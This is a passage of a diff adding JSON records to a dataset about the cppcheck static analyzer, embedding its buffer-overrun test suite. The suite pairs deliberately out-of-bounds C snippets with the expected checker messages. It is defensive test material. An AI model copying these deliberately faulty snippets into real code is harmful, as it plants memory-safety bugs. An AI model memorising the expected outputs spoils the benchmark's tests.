ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X {\\n\" // #2654\n \" int a;\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" const X s;\\n\"\n \" const int* y = &s.a;\\n\"\n \" (void)y[0];\\n\"\n \" (void)y[1];\\n\"\n \" (void)y[2];\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void checkPipeParameterSize() { // #3521\n\n const Settings settings = settingsBuilder().library(\"posix.cfg\").build();\n\n check(\"void f(){\\n\"\n \"int pipefd[1];\\n\" // <-- array of two integers is needed\n \"if (pipe(pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Buffer is accessed out of bounds: pipefd [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \"int pipefd[2];\\n\"\n \"if (pipe(pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \"char pipefd[2];\\n\"\n \"if (pipe((int*)pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Buffer is accessed out of bounds: (int*)pipefd [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \"char pipefd[20];\\n\" // Strange, but large enough\n \"if (pipe((int*)pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBufferOverrun)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/objectIndex.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/objectIndex.json new file mode 100644 index 0000000..070ce70 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/objectIndex.json @@ -0,0 +1,22 @@ +{ + "name": "objectIndex", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 69, + "branches": 25, + "apis": 71, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 5454 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n\n#include \"check.h\"\n#include \"checkbufferoverrun.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"fixture.h\"\n\n#include \n#include \n#include \n\nclass TestBufferOverrun : public TestFixture {\npublic:\n TestBufferOverrun() : TestFixture(\"TestBufferOverrun\") {}\n\nprivate:\n /*const*/ Settings settings0 = settingsBuilder().library(\"std.cfg\").severity(Severity::warning).severity(Severity::style).severity(Severity::portability).build();\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings = options.s ? *options.s : settingsBuilder(settings0).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n const Settings settings = settingsBuilder(settings0).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check for buffer overruns..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(noerr1);\n TEST_CASE(noerr2);\n TEST_CASE(noerr3);\n TEST_CASE(noerr4);\n\n TEST_CASE(sizeof3);\n\n TEST_CASE(array_index_1);\n TEST_CASE(array_index_2);\n TEST_CASE(array_index_3);\n TEST_CASE(array_index_4);\n TEST_CASE(array_index_6);\n TEST_CASE(array_index_7);\n TEST_CASE(array_index_11);\n TEST_CASE(array_index_12);\n TEST_CASE(array_index_13);\n TEST_CASE(array_index_14);\n TEST_CASE(array_index_15);\n TEST_CASE(array_index_16);\n TEST_CASE(array_index_17);\n TEST_CASE(array_index_18);\n TEST_CASE(array_index_19);\n TEST_CASE(array_index_20);\n TEST_CASE(array_index_21);\n TEST_CASE(array_index_22);\n TEST_CASE(array_index_23);\n TEST_CASE(array_index_24); // ticket #1492 and #1539\n TEST_CASE(array_index_25); // ticket #1536\n TEST_CASE(array_index_26);\n TEST_CASE(array_index_27);\n TEST_CASE(array_index_28); // ticket #1418\n TEST_CASE(array_index_29); // ticket #1734\n TEST_CASE(array_index_30); // ticket #2086 - out of bounds when type is unknown\n TEST_CASE(array_index_31); // ticket #2120 - out of bounds in subfunction when type is unknown\n TEST_CASE(array_index_32);\n TEST_CASE(array_index_33); // ticket #3044\n TEST_CASE(array_index_34); // ticket #3063\n TEST_CASE(array_index_35); // ticket #2889\n TEST_CASE(array_index_36); // ticket #2960\n TEST_CASE(array_index_37);\n TEST_CASE(array_index_38); // ticket #3273\n TEST_CASE(array_index_39);\n TEST_CASE(array_index_40); // loop variable calculation, taking address\n TEST_CASE(array_index_41); // structs with the same name\n TEST_CASE(array_index_42);\n TEST_CASE(array_index_43); // struct with array\n TEST_CASE(array_index_44); // #3979\n TEST_CASE(array_index_45); // #4207 - calling function with variable number of parameters (...)\n TEST_CASE(array_index_46); // #4840 - two-statement for loop\n TEST_CASE(array_index_47); // #5849\n TEST_CASE(array_index_48); // #9478\n TEST_CASE(array_index_49); // #8653\n TEST_CASE(array_index_50);\n TEST_CASE(array_index_51); // #3763\n TEST_CASE(array_index_52); // #7682\n TEST_CASE(array_index_53); // #4750\n TEST_CASE(array_index_54); // #10268\n TEST_CASE(array_index_55); // #10254\n TEST_CASE(array_index_56); // #10284\n TEST_CASE(array_index_57); // #10023\n TEST_CASE(array_index_58); // #7524\n TEST_CASE(array_index_59); // #10413\n TEST_CASE(array_index_60); // #10617, #9824\n TEST_CASE(array_index_61); // #10621\n TEST_CASE(array_index_62); // #7684\n TEST_CASE(array_index_63); // #10979\n TEST_CASE(array_index_64); // #10878\n TEST_CASE(array_index_65); // #11066\n TEST_CASE(array_index_66); // #10740\n TEST_CASE(array_index_67); // #1596\n TEST_CASE(array_index_68); // #6655\n TEST_CASE(array_index_69); // #6370\n TEST_CASE(array_index_70); // #11355\n TEST_CASE(array_index_71); // #11461\n TEST_CASE(array_index_72); // #11784\n TEST_CASE(array_index_73); // #11530\n TEST_CASE(array_index_74); // #11088\n TEST_CASE(array_index_75);\n TEST_CASE(array_index_76);\n TEST_CASE(array_index_multidim);\n TEST_CASE(array_index_switch_in_for);\n TEST_CASE(array_index_for_in_for); // FP: #2634\n TEST_CASE(array_index_bounds);\n TEST_CASE(array_index_calculation);\n TEST_CASE(array_index_negative1);\n TEST_CASE(array_index_negative2); // ticket #3063\n TEST_CASE(array_index_negative3);\n TEST_CASE(array_index_negative4);\n TEST_CASE(array_index_negative5); // #10526\n TEST_CASE(array_index_negative6); // #11349\n TEST_CASE(array_index_negative7); // #5685\n TEST_CASE(array_index_negative8); // #11651\n TEST_CASE(array_index_negative9);\n TEST_CASE(array_index_negative10);\n TEST_CASE(array_index_for_decr);\n TEST_CASE(array_index_varnames); // FP: struct member #1576, FN: #1586\n TEST_CASE(array_index_for_continue); // for,continue\n TEST_CASE(array_index_for); // FN: for,if\n TEST_CASE(array_index_for_neq); // #2211: Using != in condition\n TEST_CASE(array_index_for_question); // #2561: for, ?:\n TEST_CASE(array_index_for_andand_oror); // FN: using && or || in the for loop condition\n TEST_CASE(array_index_for_varid0); // #4228: No varid for counter variable\n TEST_CASE(array_index_vla_for); // #3221: access VLA inside for\n TEST_CASE(array_index_extern); // FP when using 'extern'. #1684\n TEST_CASE(array_index_cast); // FP after cast. #2841\n TEST_CASE(array_index_string_literal);\n TEST_CASE(array_index_same_struct_and_var_name); // #4751 - not handled well when struct name and var name is same\n TEST_CASE(array_index_valueflow);\n TEST_CASE(array_index_valueflow_pointer);\n TEST_CASE(array_index_function_parameter);\n TEST_CASE(array_index_enum_array); // #8439\n TEST_CASE(array_index_container); // #9386\n TEST_CASE(array_index_two_for_loops);\n TEST_CASE(array_index_new); // #7690\n\n TEST_CASE(buffer_overrun_2_struct);\n TEST_CASE(buffer_overrun_3);\n TEST_CASE(buffer_overrun_4);\n TEST_CASE(buffer_overrun_5);\n TEST_CASE(buffer_overrun_6);\n TEST_CASE(buffer_overrun_7);\n TEST_CASE(buffer_overrun_8);\n TEST_CASE(buffer_overrun_9);\n TEST_CASE(buffer_overrun_10);\n TEST_CASE(buffer_overrun_11);\n TEST_CASE(buffer_overrun_15); // ticket #1787\n TEST_CASE(buffer_overrun_16);\n TEST_CASE(buffer_overrun_18); // ticket #2576 - for, calculation with loop variable\n TEST_CASE(buffer_overrun_19); // #2597 - class member with unknown type\n TEST_CASE(buffer_overrun_21);\n TEST_CASE(buffer_overrun_24); // index variable is changed in for-loop\n TEST_CASE(buffer_overrun_26); // #4432 (segmentation fault)\n TEST_CASE(buffer_overrun_27); // #4444 (segmentation fault)\n TEST_CASE(buffer_overrun_29); // #7083: false positive: typedef and initialization with strings\n TEST_CASE(buffer_overrun_30); // #6367\n TEST_CASE(buffer_overrun_31);\n TEST_CASE(buffer_overrun_32); //#10244\n TEST_CASE(buffer_overrun_33); //#2019\n TEST_CASE(buffer_overrun_34); //#11035\n TEST_CASE(buffer_overrun_35); //#2304\n TEST_CASE(buffer_overrun_36);\n TEST_CASE(buffer_overrun_errorpath);\n TEST_CASE(buffer_overrun_bailoutIfSwitch); // ticket #2378 : bailoutIfSwitch\n TEST_CASE(buffer_overrun_function_array_argument);\n TEST_CASE(possible_buffer_overrun_1); // #3035\n TEST_CASE(buffer_overrun_readSizeFromCfg);\n\n TEST_CASE(valueflow_string); // using ValueFlow string values in checking\n\n // It is undefined behaviour to point out of bounds of an array\n // the address beyond the last element is in bounds\n // char a[10];\n // char *p1 = a + 10; // OK\n // char *p2 = a + 11 // UB\n TEST_CASE(pointer_out_of_bounds_1);\n TEST_CASE(pointer_out_of_bounds_2);\n TEST_CASE(pointer_out_of_bounds_3);\n TEST_CASE(pointer_out_of_bounds_4);\n TEST_CASE(pointer_out_of_bounds_5); // #10227\n TEST_CASE(pointer_out_of_bounds_sub);\n\n TEST_CASE(strcat1);\n\n TEST_CASE(varid1);\n TEST_CASE(varid2); // ticket #4764\n\n TEST_CASE(assign1);\n\n TEST_CASE(alloc_new); // Buffer allocated with new\n TEST_CASE(alloc_malloc); // Buffer allocated with malloc\n TEST_CASE(alloc_string); // statically allocated buffer\n TEST_CASE(alloc_alloca); // Buffer allocated with alloca\n\n // TODO TEST_CASE(countSprintfLength);\n TEST_CASE(minsize_argvalue);\n TEST_CASE(minsize_sizeof);\n TEST_CASE(minsize_strlen);\n TEST_CASE(minsize_mul);\n TEST_CASE(unknownType);\n\n TEST_CASE(terminateStrncpy1);\n TEST_CASE(terminateStrncpy2);\n TEST_CASE(terminateStrncpy3);\n TEST_CASE(terminateStrncpy4);\n TEST_CASE(terminateStrncpy5); // #9944\n TEST_CASE(recursive_long_time);\n\n TEST_CASE(crash1); // Ticket #1587 - crash\n TEST_CASE(crash2); // Ticket #3034 - crash\n TEST_CASE(crash3); // Ticket #5426 - crash\n TEST_CASE(crash4); // Ticket #8679 - crash\n TEST_CASE(crash5); // Ticket #8644 - crash\n TEST_CASE(crash6); // Ticket #9024 - crash\n TEST_CASE(crash7); // Ticket #9073 - crash\n\n TEST_CASE(insecureCmdLineArgs);\n TEST_CASE(checkBufferAllocatedWithStrlen);\n\n TEST_CASE(scope); // handling different scopes\n\n TEST_CASE(getErrorMessages);\n\n // Access array and then check if the used index is within bounds\n TEST_CASE(arrayIndexThenCheck);\n TEST_CASE(arrayIndexEarlyReturn); // #6884\n\n TEST_CASE(bufferNotZeroTerminated);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n TEST_CASE(negativeArraySize);\n\n TEST_CASE(pointerAddition1);\n\n TEST_CASE(ctu_malloc);\n TEST_CASE(ctu_array);\n TEST_CASE(ctu_variable);\n TEST_CASE(ctu_arithmetic);\n\n TEST_CASE(objectIndex);\n\n TEST_CASE(checkPipeParameterSize); // ticket #3521\n }\n\n\n\n void noerr1() {\n check(\"extern int ab;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (ab)\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" }\\n\"\n \" if (ab)\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr2() {\n check(\"static char buf[2];\\n\"\n \"void f1(char *str)\\n\"\n \"{\\n\"\n \" strcpy(buf,str);\\n\"\n \"}\\n\"\n \"void f2(char *str)\\n\"\n \"{\\n\"\n \" strcat(buf,str);\\n\"\n \"}\\n\"\n \"void f3(char *str)\\n\"\n \"{\\n\"\n \" sprintf(buf,\\\"%s\\\",str);\\n\"\n \"}\\n\"\n \"void f4(const char str[])\\n\"\n \"{\\n\"\n \" strcpy(buf, str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr3() {\n check(\"struct { char data[10]; } abc;\\n\"\n \"static char f()\\n\"\n \"{\\n\"\n \" char data[1];\\n\"\n \" return abc.data[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void noerr4() {\n // The memory isn't read or written and therefore there is no error.\n check(\"static void f() {\\n\"\n \" char data[100];\\n\"\n \" const char *p = data + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeof3() {\n check(\"struct group { int gr_gid; };\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char group[32];\\n\"\n \" snprintf(group, 32, \\\"%u\\\", 0);\\n\"\n \" struct group *gr;\\n\"\n \" snprintf(group, 32, \\\"%u\\\", gr->gr_gid);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char str[0x10] = {0};\\n\"\n \" str[15] = 0;\\n\"\n \" str[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"char f()\\n\"\n \"{\\n\"\n \" char str[16] = {0};\\n\"\n \" return str[16];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // test stack array\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x[ 3 ] = { 0, 1, 2 };\\n\"\n \" int y;\\n\"\n \" y = x[ 4 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Array 'x[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x[ 3 ] = { 0, 1, 2 };\\n\"\n \" int y;\\n\"\n \" y = x[ 2 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x[5] = {0};\\n\"\n \"int a = x[10];\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Array 'x[5]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int x[5] = {0};\\n\"\n \"int a = (x)[10];\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Array 'x[5]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void array_index_2() {\n check(\"void a(int i)\\n\" // valueflow\n \"{\\n\"\n \" char *str = new char[0x10];\\n\"\n \" str[i] = 0;\\n\"\n \"}\\n\"\n \"void b() { a(16); }\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Array 'str[16]' accessed at index 16, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_4() {\n check(\"char c = \\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (error) Array '\\\"abc\\\"[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"p = &\\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char c = \\\"\\\\0abc\\\"[2];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char c = L\\\"abc\\\"[4];\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (error) Array 'L\\\"abc\\\"[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 0; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int a)\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = a; i < 100; i++)\\n\"\n \" sum += val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Array 'val[50]' accessed at index 99, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"typedef struct g g2[3];\\n\"\n \"void foo(char *a)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 4; i++)\\n\"\n \" {\\n\"\n \" a[i]=0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int argc)\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" for (int i = 4; i < argc; i++){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a[10]) {\\n\"\n \" for (int i=0;i<50;++i) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Array 'a[10]' accessed at index 49, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_6() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" abc.str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:12]: (error) Array 'abc.str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static char f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" return abc.str[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:19]: (error) Array 'abc.str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // This is not out of bounds because it is a variable length array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // This is not out of bounds because it is not a variable length array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is not out of bounds because it is a variable length array\n // and the index is within the memory allocated.\n /** @todo this works by accident because we ignore any access to this array */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[10] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated.\n /** @todo this doesn't work because of a bug in sizeof(struct) */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC) + 10);\\n\"\n \" x->str[11] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9]: (error) Array 'str[1]' accessed at index 11, which is out of bounds.\\n\", \"\", errout_str());\n\n // This is out of bounds if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(ABC) + 10);\\n\"\n \" x->str[11] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated\n /** @todo this doesn't work because of a bug in sizeof(struct) */\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(struct ABC));\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9]: (error) Array 'str[1]' accessed at index 1, which is out of bounds.\\n\", \"\", errout_str());\n\n // This is out of bounds because it is outside the memory allocated\n // But only if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC* x = malloc(sizeof(ABC));\\n\"\n \" x->str[1] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // This is out of bounds because it is not a variable array\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[1];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC x;\\n\"\n \" x.str[1] = 0;\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (error) Array 'x.str[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct foo\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x()\\n\"\n \"{\\n\"\n \" foo f;\\n\"\n \" for ( unsigned int i = 0; i < 64; ++i )\\n\"\n \" f.str[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (error) Array 'f.str[10]' accessed at index 63, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct AB { char a[NUM]; char b[NUM]; }\\n\"\n \"void f(struct AB *ab) {\\n\"\n \" ab->a[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union { char a[1]; int b; } ab;\\n\"\n \"void f() {\\n\"\n \" ab.a[2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Array 'ab.a[1]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void array_index_7() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC *abc)\\n\"\n \"{\\n\"\n \" abc->str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (error) Array 'abc->str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_11() {\n check(\"class ABC\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ABC();\\n\"\n \" char *str[10];\\n\"\n \" struct ABC *next();\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(ABC *abc1)\\n\"\n \"{\\n\"\n \" for ( ABC *abc = abc1; abc; abc = abc->next() )\\n\"\n \" {\\n\"\n \" abc->str[10] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13:17]: (error) Array 'abc->str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_12() {\n check(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" char str[10];\\n\"\n \"public:\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred()\\n\"\n \"{\\n\"\n \" str[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:8]: (error) Array 'str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" char str[10];\\n\"\n \"public:\\n\"\n \" char c();\\n\"\n \"};\\n\"\n \"char Fred::c()\\n\"\n \"{\\n\"\n \" return str[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (error) Array 'str[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_13() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char buf[10];\\n\"\n \" for (int i = 0; i < 100; i++)\\n\"\n \" {\\n\"\n \" if (i < 10)\\n\"\n \" int x = buf[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_14() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i+10] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_15() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[10+i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_16() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i+1] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_17() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i*2] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index 18, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[12];\\n\"\n \" for (int i = 0; i < 12; i+=6)\\n\"\n \" a[i+5] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[12];\\n\"\n \" for (int i = 0; i < 12; 